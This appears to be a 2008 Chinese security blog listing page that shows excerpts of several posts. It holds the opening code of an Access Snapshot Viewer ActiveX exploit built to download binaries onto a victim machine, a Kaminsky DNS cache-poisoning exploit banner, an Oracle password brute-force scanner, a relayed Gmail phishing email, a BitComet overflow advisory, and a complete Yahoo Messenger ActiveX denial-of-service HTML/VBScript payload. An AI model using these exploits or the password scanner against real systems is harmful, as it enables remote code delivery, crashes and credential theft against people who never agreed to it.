您正在查看 "网络安全" 分类下的文章
2008-07-25 18:14
/* Microsoft Access Snapshot Viewer ActiveX Control Exploit
Ms-Acees SnapShot Exploit Snapview.ocx v 10.0.5529.0
Download nice binaries into an arbitrary box
Vulnerability discovered by Oliver Lavery
http://www.securityfocus.com/bid/8536/info
Remote: Yes
greetz to str0ke */
#include <stdio.h>
#include <stdlib.h>
#define Filename "Ms-Access-SnapShot.html"
FILE *File;
char data[] = "<html>\n<objectclassid='clsid:F0E42D50 |
2008-07-24 15:49
Kaminsky DNS Cache Poisoning Flaw Exploit
/ \ / \ | | | |
----====####/ /\__\##/ /\ \##| |##| |####====----
| | | |__| | | | | |
| | ___ | __ | | | | |
------======######\ \/ /#| |##| |#| |##| |######======------
\____/ |__| |__| \______/
Computer Academic Underground
http://www.caughq.org
Exploit Code
===============/=================================== |
2008-07-24 15:44
闲来无事，写个小工具。扫oracle密码。
水平有限，对python没有深究，甚至在写工具的时候连"or"这种条件语句都不会。
所以大家将就下。。。
-----------------------oracle's password,user scan
-----------------------code by kxlzx
-----------------------voidloafer@gmail.com
-----------------------http://www.inbreak.net
dbname.ini --- database name
pass.ini --- passwords
user.ini --- users |
2008-07-23 15:34
尽管 Dan Kaminsky 努力掩盖他所发现的 DNS 严重漏洞的细节，Matasano 安全公司的一个员工还是在他的博客上泄露了这些资料，虽然 文章被立即删除，但已经有人 拿到了这些资料，并 发表在别的地方。Kaminsky 在他的博客上发表了一个 |
2008-07-21 22:25
2008-07-21 17:18
转自http://www.awflasher.com/blog/
今天，Feedsky的帅哥Src给我Forward了一封E-mail，询问这封邮件的真假。我打开一看，邮件中自称来自“GMail小组”，样式也采用了Google的一贯风格，还真是有点“以假乱真”的模样。
邮件全文如下：
---------- Forwarded message ----------
From: Gmail 小组 <mail-noreply@gmail.com>
Date: 2008/7/16
Subject: |
2008-07-19 16:23
2008-07-18 17:50
描述:
BUGTRAQ ID: 30255
CNCAN ID：CNCAN-2008071703
BitComet是一款免费的BitTorrent(BT)下载管理软件。
BitComet处理超长URL存在缓冲区溢出，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。
构建包含超长URL的恶意文件，诱使用户使用bitcomet作为批处理下载，可导致应用程序崩溃。
<* 参考 |
2008-07-16 13:01
转自：SEBUG
Yahoo Messenger 8.1 (latest) Remote DoS
Safe for Scripting, Safe for Initialize
<html><body>
<object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object>
<script language=vbscript>
arg1=String(517140, "A")
target.c arg1
</script>
</body></html>
PS：这个IM软件我断断续续的安过几次~总体感觉挺清新 不过用的人少~哎~前几天刚装的 就又爆了漏洞~ |
2008-07-15 01:56
|
| 
